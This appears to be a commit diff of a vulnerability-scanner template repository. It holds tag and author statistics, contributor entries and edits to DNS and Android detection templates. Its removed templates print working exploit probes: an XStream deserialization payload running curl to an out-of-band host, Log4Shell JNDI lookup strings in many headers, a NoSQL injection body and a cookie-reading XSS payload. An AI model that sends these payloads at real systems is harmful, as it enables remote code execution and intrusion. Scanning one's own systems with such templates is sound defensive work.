"aws","count":35},{"name":"kubernetes","count":35},{"name":"injection","count":34},{"name":"listing","count":33},{"name":"deserialization","count":31},{"name":"misc","count":31},{"name":"osint-coding","count":29},{"name":"sap","count":29},{"name":"cnvd","count":29},{"name":"log4j","count":28},{"name":"osint-tech","count":28},{"name":"php","count":27},{"name":"gitlab","count":27},{"name":"proxy","count":26},{"name":"microsoft","count":26},{"name":"jndi","count":25},{"name":"api","count":25},{"name":"fuzz","count":25},{"name":"cve2012","count":25},{"name":"osint-shopping","count":24},{"name":"firewall","count":24},{"name":"osint-business","count":24},{"name":"osint-images","count":24},{"name":"manageengine","count":24},{"name":"osint-finance","count":24},{"name":"k8s","count":23},{"name":"stored-xss","count":23},{"name":"zoho","count":23},{"name":"amazon","count":23},{"name":"c2","count":23},{"name":"wp-theme","count":22},{"name":"weblogic","count":21},{"name":"ibm","count":21},{"name":"cloud","count":21},{"name":"tomcat","count":21},{"name":"msf","count":21},{"name":"fortinet","count":20},{"name":"cicd","count":20},{"name":"ssl","count":19},{"name":"dlink","count":19},{"name":"dns","count":19},{"name":"github","count":19},{"name":"camera","count":19},{"name":"struts","count":19},{"name":"rukovoditel","count":19},{"name":"jenkins","count":19},{"name":"admin","count":19},{"name":"service","count":18},{"name":"ftp","count":18},{"name":"osint-music","count":18},{"name":"wavlink","count":18},{"name":"lfr","count":18},{"name":"cve2011","count":17},{"name":"ir","count":17},{"name":"printer","count":16},{"name":"backup","count":16},{"name":"osint-blog","count":16},{"name":"xxe","count":16},{"name":"cve2009","count":16},{"name":"nginx","count":16},{"name":"status","count":15},{"name":"android","count":15},{"name":"cve2008","count":15},{"name":"magento","count":15},{"name":"java","count":15},{"name":"citrix","count":15},{"name":"hp","count":15},{"name":"woocommerce","count":14},{"name":"nodejs","count":14},{"name":"osint-health","count":14},{"name":"jboss","count":14},{"name":"domainmod","count":14},{"name":"osint-art","count":14},{"name":"confluence","count":14},{"name":"audit","count":14},{"name":"zyxel","count":14},{"name":"cve2013","count":14},{"name":"mail","count":14},{"name":"npm","count":13},{"name":"azure","count":13},{"name":"login-check","count":13},{"name":"tokens","count":13},{"name":"fortigate","count":13},{"name":"osint-political","count":13},{"name":"creds-stuffLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1682 | dhiyaneshdk  |   799 | cves             |  1662 | info     |  2790 | http    |  5573 |
-| panel     |   862 | dwisiswant0  |   792 | exposed-panels   |   854 | high     |  1201 | file    |   116 |
-| wordpress |   741 | daffainfo    |   662 | osint            |   630 | medium   |   961 | network |    87 |
-| exposure  |   651 | pikpikcu     |   352 | technologies     |   557 | critical |   622 | dns     |    18 |
-| osint     |   635 | pdteam       |   275 | vulnerabilities  |   548 | low      |   216 |         |       |
-| wp-plugin |   635 | pussycat0x   |   229 | misconfiguration |   423 | unknown  |    25 |         |       |
-| edb       |   594 | geeknik      |   219 | exposures        |   373 |          |       |         |       |
-| tech      |   594 | ricardomaia  |   213 | token-spray      |   240 |          |       |         |       |
-| xss       |   592 | ritikchaddha |   195 | workflows        |   190 |          |       |         |       |
-| lfi       |   530 | 0x_akoko     |   179 | default-logins   |   126 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |      DIRECTORY       | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|--------------|-------|----------------------|-------|----------|-------|------|-------|
+| cve       |  1951 | dhiyaneshdk  |   907 | http                 |  6050 | info     |  2941 | file |   142 |
+| panel     |   959 | dwisiswant0  |   797 | workflows            |   190 | high     |  1312 | dns  |    18 |
+| wordpress |   802 | daffainfo    |   664 | file                 |   142 | medium   |  1114 |      |       |
+| exposure  |   719 | pikpikcu     |   353 | network              |   100 | critical |   725 |      |       |
+| xss       |   696 | pdteam       |   280 | ssl                  |    24 | low      |   224 |      |       |
+| wp-plugin |   691 | pussycat0x   |   261 | dns                  |    18 | unknown  |    27 |      |       |
+| osint     |   652 | geeknik      |   221 | headless             |     9 |          |       |      |       |
+| tech      |   618 | ricardomaia  |   220 | contributors.json    |     1 |          |       |      |       |
+| edb       |   598 | ritikchaddha |   218 | cves.json            |     1 |          |       |      |       |
+| lfi       |   558 | 0x_akoko     |   179 | TEMPLATES-STATS.json |     1 |          |       |      |       |

contributors.json

@@ -1378,6 +1378,24 @@
             "website": "https://the-empire.systems",
             "email": ""
         }
+    },
+    {
+        "author": "noraj",
+        "links": {
+            "github": "https://github.com/noraj",
+            "twitter": "https://twitter.com/noraj_rawsec",
+            "linkedin": "",
+            "website": "https://pwn.by/noraj",
+            "email": ""
+        }
+    },{
+        "author": "mabdullah22",
+        "links": {
+            "github": "https://www.github.com/maabdullah22",
+            "twitter": "https://twitter.com/0x416264",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
     }
-
-]
+]

cves.json-checksum.txt

@@ -1 +1 @@
-0b8c136254be187cf0afeb350ba4ff03
+d7a2d6df148f9b08b33b2ee679dc745a

cves/2013/CVE-2013-7285.yaml

@@ -1,50 +0,0 @@
-id: CVE-2013-7285
-
-info:
-  name: XStream < 1.4.6 - Remote Code Execution
-  author: pwnhxl
-  severity: critical
-  description: |
-    Xstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format.
-  reference:
-    - http://x-stream.github.io/CVE-2013-7285.html
-    - https://x-stream.github.io/CVE-2013-7285.html
-    - https://www.mail-archive.com/[email protected]/msg00607.html
-    - https://www.mail-archive.com/[email protected]/msg00604.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2013-7285
-    cwe-id: CWE-78
-  tags: cve,cve2013,xstream,deserialization,rce,oast
-
-requests:
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/xml
-
-        <contact class='dynamic-proxy'>
-          <interface>org.company.model.Contact</interface>
-          <handler class='java.beans.EventHandler'>
-            <target class='java.lang.ProcessBuilder'>
-              <command>
-                <string>curl http://{{interactsh-url}} -H 'User-Agent: {{rand_base(6)}}'</string>
-              </command>
-            </target>
-            <action>start</action>
-          </handler>
-        </contact>
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "http"
-
-      - type: word
-        part: interactsh_request
-        words:
-          - "User-Agent: {{rand_base(6)}}"

cves/2020/CVE-2020-35847.yaml

@@ -1,40 +0,0 @@
-id: CVE-2020-35847
-
-info:
-  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
-  author: dwisiswant0
-  severity: critical
-  description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.
-  reference:
-    - https://swarm.ptsecurity.com/rce-cockpit-cms/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-35847
-    - https://getcockpit.com/
-    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-35847
-    cwe-id: CWE-89
-  tags: cve,cve2020,nosqli,sqli,cockpit,injection
-
-requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/auth/requestreset"
-    headers:
-      Content-Type: application/json
-    body: |
-      {
-        "user": {
-          "$func": "var_dump"
-        }
-      }
-
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"'
-
-
-# Enhanced by mp on 2022/04/28

cves/2021/CVE-2021-44228.yaml

@@ -1,81 +0,0 @@
-id: CVE-2021-44228
-
-info:
-  name: Apache Log4j2 Remote Code Injection
-  author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
-  severity: critical
-  description: |
-    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
-  reference:
-    - https://logging.apache.org/log4j/2.x/security.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
-    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
-    - https://www.lunasec.io/docs/blog/log4j-zero-day/
-    - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
-  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cve-id: CVE-2021-44228
-    cwe-id: CWE-502
-  tags: cve,cve2021,rce,oast,log4j,injection,kev
-
-requests:
-  - raw:
-      - |
-        GET /?x=${jndi:ldap://${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: ${jndi:ldap://${hostName}.accept.{{interactsh-url}}}
-        Accept-Encoding: ${jndi:ldap://${hostName}.acceptencoding.{{interactsh-url}}}
-        Accept-Language: ${jndi:ldap://${hostName}.acceptlanguage.{{interactsh-url}}}
-        Access-Control-Request-Headers: ${jndi:ldap://${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
-        Access-Control-Request-Method: ${jndi:ldap://${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
-        Authentication: Basic ${jndi:ldap://${hostName}.authenticationbasic.{{interactsh-url}}}
-        Authentication: Bearer ${jndi:ldap://${hostName}.authenticationbearer.{{interactsh-url}}}
-        Cookie: ${jndi:ldap://${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
-        Location: ${jndi:ldap://${hostName}.location.{{interactsh-url}}}
-        Origin: ${jndi:ldap://${hostName}.origin.{{interactsh-url}}}
-        Referer: ${jndi:ldap://${hostName}.referer.{{interactsh-url}}}
-        Upgrade-Insecure-Requests: ${jndi:ldap://${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
-        User-Agent: ${jndi:ldap://${hostName}.useragent.{{interactsh-url}}}
-        X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}
-        X-CSRF-Token: ${jndi:ldap://${hostName}.xcsrftoken.{{interactsh-url}}}
-        X-Druid-Comment: ${jndi:ldap://${hostName}.xdruidcomment.{{interactsh-url}}}
-        X-Forwarded-For: ${jndi:ldap://${hostName}.xforwardedfor.{{interactsh-url}}}
-        X-Origin: ${jndi:ldap://${hostName}.xorigin.{{interactsh-url}}}
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol  # Confirms the DNS Interaction
-        words:
-          - "dns"
-
-      - type: regex
-        part: interactsh_request
-        regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-
-    extractors:
-      - type: kval
-        kval:
-          - interactsh_ip # Print remote interaction IP in output
-
-      - type: regex
-        part: interactsh_request
-        group: 2
-        regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print injection point in output
-
-      - type: regex
-        part: interactsh_request
-        group: 1
-        regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-
-# Enhanced by mp on 2022/02/28

cves/2022/CVE-2022-29153.yaml

@@ -1,50 +0,0 @@
-id: CVE-2022-29153
-
-info:
-  name: HashiCorp Consul/Enterprise - Server Side Request Forgery
-  author: c-sh0
-  severity: high
-  description: |
-    HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11.4 may allow server side request forgery when the Consul client agent follows redirects returned by HTTP health check endpoints. Consul follows HTTP redirects by default. HTTP + Interval health check configuration now provides a disable_redirects option to prohibit this behavior.
-  reference:
-    - https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393
-    - https://github.com/hashicorp/consul/pull/12685
-    - https://developer.hashicorp.com/consul/docs/discovery/checks
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-29153
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2022-29153
-    cwe-id: CWE-918
-  metadata:
-    shodan-query: title:"Consul by HashiCorp"
-    verified: "true"
-  tags: cve,cve2022,consul,hashicorp,ssrf
-
-requests:
-  - raw:
-      - |
-        PUT /v1/agent/check/register HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        {
-         "id": "{{randstr}}",
-         "name": "{{randstr}}",
-         "method": "GET",
-         "http": "/dev/null",
-         "interval": "10s",
-         "timeout": "1s",
-         "disable_redirects": true
-        }
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - unknown field "disable_redirects"
-
-      - type: status
-        status:
-          - 400

cves/2022/CVE-2022-46934.yaml

@@ -1,38 +0,0 @@
-id: CVE-2022-46934
-
-info:
-  name: kkFileView v4.1.0 - Cross Site Scripting
-  author: r3Y3r53
-  severity: medium
-  description: |
-    kkFileView v4.1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the url parameter at /controller/OnlinePreviewController.java.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-46934
-    - https://github.com/kekingcn/kkFileView/issues/411
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-46934
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.html:"kkFileView"
-    verified: "true"
-  tags: xss,cve,cve2022
-
-requests:
-  - raw:
-      - |
-        GET /picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmNvb2tpZSk7Ly8=&urls HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "alert(document.cookie)"
-          - "document.getElementById"
-        condition: and
-
-      - type: status
-        status:
-          - 200

dns/azure-takeover-detection.yaml

@@ -14,6 +14,8 @@ info:
     cvss-score: 7.2
     cwe-id: CWE-404
   tags: dns,takeover,azure
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -52,5 +54,3 @@ dns:
         group: 1
         regex:
           - "IN\tCNAME\t(.+)"
-
-# Enhanced by mp on 2022/03/13

dns/caa-fingerprint.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,caa
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -26,6 +28,4 @@ dns:
         regex:
           - 'issue "(.*)"'
           - 'issuewild "(.*)"'
-          - 'iodef "(.*)"'
-
-# Enhanced by mp on 2022/03/22
+          - 'iodef "(.*)"'

dns/cname-fingerprint.yaml

@@ -11,6 +11,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,cname
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -25,6 +27,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tCNAME\t(.+)"
-
-# Enhanced by mp on 2022/03/13
+          - "IN\tCNAME\t(.+)"

dns/cname-service.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,service
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -40,6 +42,4 @@ dns:
       - type: word
         name: salesforce-community
         words:
-          - "live.siteforce.com"
-
-# Enhanced by mp on 2022/03/13
+          - "live.siteforce.com"

dns/detect-dangling-cname.yaml

@@ -13,6 +13,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,takeover
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -32,6 +34,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tCNAME\t(.+)"
-
-# Enhanced by mp on 2022/03/13
+          - "IN\tCNAME\t(.+)"

dns/dmarc-detect.yaml

@@ -1,15 +1,21 @@
 id: dmarc-detect
 
 info:
-  name: DNS DMARC Detection
+  name: DNS DMARC - Detect
   author: juliosmelo
   severity: info
   description: |
-    DMARC is an open email authentication protocol that provides domain-level protection of the email channel. DMARC authentication detects and prevents email spoofing techniques used in phishing, business email compromise (BEC) and other email-based attacks.
+    DNS DMARC information was detected.
   reference:
     - https://dmarc.org/
     - https://dmarc.org/wiki/FAQ#Why_is_DMARC_important.3F
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: dns,dmarc
+  metadata:
+    max-request: 1
 
 dns:
   - name: "_dmarc.{{FQDN}}"
@@ -19,4 +25,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tTXT\t(.+)"
+          - "IN\tTXT\t(.+)"

dns/dns-waf-detect.yaml

@@ -8,6 +8,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: tech,waf,dns
+  metadata:
+    max-request: 2
 
 dns:
   - name: "{{FQDN}}"
@@ -166,6 +168,4 @@ dns:
       - type: word
         name: edns
         words:
-          - ".iidns.com"
-
-# Enhanced by mp on 2022/03/13
+          - ".iidns.com"

dns/dnssec-detection.yaml

@@ -11,6 +11,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,dnssec
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -19,6 +21,4 @@ dns:
     matchers:
       - type: regex
         regex:
-          - "IN\tDS\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tDS\t(.+)"

dns/ec2-detection.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,ec2,aws
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -19,6 +21,4 @@ dns:
       - type: regex
         regex:
           - "ec2-[-\\d]+\\.compute[-\\d]*\\.amazonaws\\.com"
-          - "ec2-[-\\d]+\\.[\\w\\d\\-]+\\.compute[-\\d]*\\.amazonaws\\.com"
-
-# Enhanced by mp on 2022/03/14
+          - "ec2-[-\\d]+\\.[\\w\\d\\-]+\\.compute[-\\d]*\\.amazonaws\\.com"

dns/elasticbeantalk-takeover.yaml

@@ -15,6 +15,7 @@ info:
     cvss-score: 7.2
     cwe-id: CWE-404
   metadata:
+    max-request: 1
     comments: |
       Only CNAMEs with region specification are hijackable.
       You need to claim the CNAME in AWS portal (https://aws.amazon.com/) or via AWS CLI to confirm the takeover.
@@ -45,6 +46,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tCNAME\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tCNAME\t(.+)"

dns/mx-fingerprint.yaml

@@ -11,6 +11,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,mx
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -25,6 +27,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tMX\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tMX\t(.+)"

dns/mx-service-detector.yaml

@@ -8,6 +8,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,service
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -78,6 +80,4 @@ dns:
         name: "Proofpoint US"
         words:
           - "mx1-us1.ppe-hosted.com"
-          - "mx2-us1.ppe-hosted.com"
-
-# Enhanced by mp on 2022/03/14
+          - "mx2-us1.ppe-hosted.com"

dns/nameserver-fingerprint.yaml

@@ -8,6 +8,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,ns
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -22,6 +24,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tNS\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tNS\t(.+)"

dns/ptr-fingerprint.yaml

@@ -8,6 +8,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,ptr
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -22,6 +24,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tPTR\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tPTR\t(.+)"

dns/servfail-refused-hosts.yaml

@@ -9,6 +9,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,takeover
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -18,6 +20,4 @@ dns:
       - type: word
         words:
           - "SERVFAIL"
-          - "REFUSED"
-
-# Enhanced by mp on 2022/03/14
+          - "REFUSED"

dns/spoofable-spf-records-ptr.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,spf
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -20,6 +22,4 @@ dns:
         words:
           - "v=spf1"
           - " ptr "
-        condition: and
-
-# Enhanced by mp on 2022/03/14
+        condition: and

dns/txt-fingerprint.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,txt
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -24,6 +26,4 @@ dns:
       - type: regex
         group: 1
         regex:
-          - "IN\tTXT\t(.+)"
-
-# Enhanced by mp on 2022/03/14
+          - "IN\tTXT\t(.+)"

dns/worksites-detection.yaml

@@ -10,6 +10,8 @@ info:
   classification:
     cwe-id: CWE-200
   tags: dns,service
+  metadata:
+    max-request: 1
 
 dns:
   - name: "{{FQDN}}"
@@ -18,6 +20,4 @@ dns:
     matchers:
       - type: word
         words:
-          - "69.164.223.206"
-
-# Enhanced by mp on 2022/03/14
+          - "69.164.223.206"

exposures/configs/package-json.yaml

@@ -1,38 +0,0 @@
-id: package-json
-
-info:
-  name: npm Config - Detect
-  author: geeknik,afaq
-  severity: info
-  description: npm configuration information was detected. All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
-  reference: https://www.npmjs.com
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
-    cvss-score: 0.0
-    cwe-id: CWE-200
-  tags: config,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/package.json"
-      - "{{BaseURL}}/package-lock.json"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "name"
-          - "version"
-        condition: and
-
-      - type: word
-        words:
-          - "application/json"
-        part: header
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2023/02/05

exposures/logs/roundcube-log-disclosure.yaml

@@ -1,26 +0,0 @@
-id: roundcube-log-disclosure
-
-info:
-  name: Roundcube Log Disclosure
-  author: dhiyaneshDk
-  severity: low
-  reference:
-    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/roundcube-log-disclosure.json
-  tags: exposure,logs
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/roundcube/logs/sendmail"
-      - "{{BaseURL}}/roundcube/logs/errors.log"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "IMAP Error:"
-        part: body
-
-      - type: status
-        status:
-          - 200

file/android/adb-backup-enabled.yaml

@@ -18,6 +18,4 @@ file:
     matchers:
       - type: word
         words:
-          - "android:allowBackup=\"true\""
-
-# Enhanced by mp on 2022/02/09
+          - "android:allowBackup=\"true\""

file/android/biometric-detect.yaml

@@ -1,9 +1,14 @@
 id: biometric-detect
 
 info:
-  name: Biometric or Fingerprint detect
+  name: Android Biometric/Fingerprint - Detect
   author: gaurang
   severity: info
+  description: Android Biometric/Fingerprint permission files were detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -14,4 +19,6 @@ file:
       - type: word
         words:
           - "android.permission.USE_FINGERPRINT"
-          - "android.permission.USE_BIOMETRIC"
+          - "android.permission.USE_BIOMETRIC"
+
+# Enhanced by md on 2023/05/02

file/android/certificate-validation.yaml

@@ -1,9 +1,14 @@
 id: improper-certificate-validation
 
 info:
-  name: Improper Certificate Validation
+  name: Android Improper Certificate Validation - Detect
   author: gaurang
   severity: medium
+  description: Android improper certificate validation was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - "Landroid/webkit/SslErrorHandler;->proceed()V"
+          - "Landroid/webkit/SslErrorHandler;->proceed()V"
+
+# Enhanced by md on 2023/05/02

file/android/content-scheme.yaml

@@ -1,9 +1,14 @@
 id: content-scheme
 
 info:
-  name: Content Scheme Enabled
+  name: Android Content Scheme - Detect
   author: gaurang
   severity: info
+  description: Android content scheme enabling was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - "android:scheme=\"content\""
+          - "android:scheme=\"content\""
+
+# Enhanced by md on 2023/05/03

file/android/debug-enabled.yaml

@@ -4,6 +4,7 @@ info:
   name: Android Debug Enabled
   author: gaurang
   severity: low
+  description: Android debug enabling was detected.
   tags: android,file
 
 file:
@@ -13,4 +14,4 @@ file:
     matchers:
       - type: regex
         regex:
-          - "android:debuggable=\"true\""
+          - "android:debuggable=\"true\""

file/android/deep-link-detect.yaml

@@ -1,15 +1,20 @@
 id: deep-link-detect
 
 info:
-  name: Deep Link Detection
+  name: Android Deep Link - Detect
   author: Hardik-Solanki
   severity: info
+  description: Android deep link functionality was detected.
   reference:
     - https://developer.android.com/training/app-links/deep-linking
     - https://www.geeksforgeeks.org/deep-linking-in-android-with-example/
     - https://medium.com/@muratcanbur/intro-to-deep-linking-on-android-1b9fe9e38abd
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
-    verified: "true"
+    verified: true
   tags: android,file,deeplink
 
 file:
@@ -24,3 +29,5 @@ file:
           - "android:host"
           - "android:name"
         condition: and
+
+# Enhanced by md on 2023/05/02

file/android/dynamic-broadcast-receiver.yaml

@@ -1,9 +1,14 @@
 id: dynamic-registered-broadcast-receiver
 
 info:
-  name: Dynamic Registered Broadcast Receiver
+  name: Android Dynamic Broadcast Receiver Register - Detect
   author: gaurang
   severity: info
+  description: Android dynamic broadcast receiver register functionality was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - ";->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)"
+          - ";->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)"
+
+# Enhanced by md on 2023/05/02

file/android/file-scheme.yaml

@@ -1,9 +1,14 @@
 id: file-scheme
 
 info:
-  name: File Scheme Enabled
+  name: Android File Scheme - Detect
   author: gaurang
   severity: info
+  description: Android file scheme enabling was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -13,4 +18,6 @@ file:
     matchers:
       - type: word
         words:
-          - "android:scheme=\"file\""
+          - "android:scheme=\"file\""
+
+# Enhanced by md on 2023/05/03

file/android/provider-path.yaml

@@ -1,9 +1,14 @@
 id: insecure-provider-path
 
 info:
-  name: Insecure Provider Path
+  name: Android Insecure Provider Path - Detect
   author: gaurang
   severity: medium
+  description: Android insecure provider path was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cwe-id: CWE-200
   tags: android,file
 
 file:
@@ -15,3 +20,5 @@ file:
         regex:
           - "root-path name=\"[0-9A-Za-z\\-_]{1,10}\" path=\".\""
           - "root-path name=\"[0-9A-Za-z\\-_]{1,10}\" path=\"\""
+
+# Enhanced by md on 2023/05/02

file/android/webview-addjavascript-interface.yaml

@@ -1,9 +1,14 @@
 id: webview-addjavascript-interface
 
 info:
-  name: Webview addJavascript Interface Usage
+  name: Android WebView Add Javascript Interface - Detect
   author: gaurang
   severity: info
+  description: Android WebView Add Javascript interface usage was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
